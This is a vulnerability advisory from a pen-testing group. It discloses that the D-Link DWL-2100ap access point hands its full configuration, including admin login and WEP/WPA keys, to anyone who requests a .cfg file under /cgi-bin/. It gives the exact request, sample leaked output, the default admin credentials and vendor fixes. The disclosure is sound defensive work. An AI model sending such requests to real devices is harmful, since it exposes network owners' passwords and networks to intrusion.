INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
http://www.intruders.com.br/ http://www.intruders.org.br/ ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap) PRIORITY: HIGH I - INTRUDERS: ---------------- Intruders Tiger Team Security is a project entailed with Security Open Source (http://www.securityopensource.org.br). The Intruders Tiger Team Security (ITTS) is a group of researchers with more than 10 years of experience, specialized in the development of intrusion projects (Pen-Test) and in special security projects. All the projects of intrusion (Pen-Test) realized until the moment by the Intruders Tiger Team Security had 100% of success. II - INTRODUCTION: ------------------ D-Link AirPlus XtremeG 2.4GHz Wireless Access Point, 54Mbps/108Mbps (802.11g): D-Link, the industry pioneer in wireless networking, introduces a performance breakthrough in wireless connectivity D-Link AirPlus Xtreme GTM series of high-speed devices now capable of delivering transfer rates up to 15x faster than the standard 802.11b with the new D-Link 108G. With the new AirPlus Xtreme G DWL-2100AP Wireless Access Point, D-Link sets a new standard for wireless access points. D-Link DWL-2100ap is one of the most popular Access Point in the world. III - DESCRIPTION: ------------------ Intruders Tiger Team Security identified during an intrusion project (Pen-Test) an unknown vulnerability in the Access Point D-Link DWL-2100ap, that allows an attacker to read device's configuration, without authentication with web server. Extremely sensible informations are avaible in the configuration of the Access Point D-Link DWL-2100ap, for example: - User and password used to manage the device. - Password used in WEP and WPA. - SSID, IP, subnet mask, MAC Address filters, etc. IV - ANALISYS: --------------- Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found). Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found). However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration. For example, making the following request: http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg We would have a result equivalent to the following: # Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved # DO NOT EDIT -- This configuration file is automatically generated magic Ar52xxAP fwc: 34 login admin DHCPServer Eth_Acl nameaddr domainsuffix IP_Addr 10.0.0.30 IP_Mask 255.0.0.0 Gateway_Addr 10.0.0.1 RADIUSaddr RADIUSport 1812 RADIUSsecret password IntrudersTest passphrase wlan1 passphrase AnewBadPassPhrase # Several lines removed. D-Link DWL-2100ap Access Point does not allow disable the Web server, not even has options to filter ports. We remember that the D-Link DWL-2100ap Access Point comes configured with default user / password (user:admin and no password). V. DETECTION: ------------- Intruders Tiger Team Security confirmed the existence of this vulnerability in all firmwares tested, also the last version 2.10na. Possibly other(s) D-Link Access Point model(s) can be vulnerable also. VI. SUGESTION: -------------- D-Link company: 1 - Use strong cookies to guarantee that only authorized users will get access to configuration. 2 - Store sensible configurations like password(s) using hash(s). 3 - Allow create firewall politics and rules to filters port(s) and IP(s). 4 - Request to the user change the default user/password on the first logon, and not allow change the password to the last one used. 5 - Use HTTP with SSL (HTTPS). 6 - Contracts specialized companies in Pen-Test and security audit, aiming homologate the security of D-Link products. D-Link customers: 1 - Upgrade the firmware of D-Link DWL-2100ap Access Point.
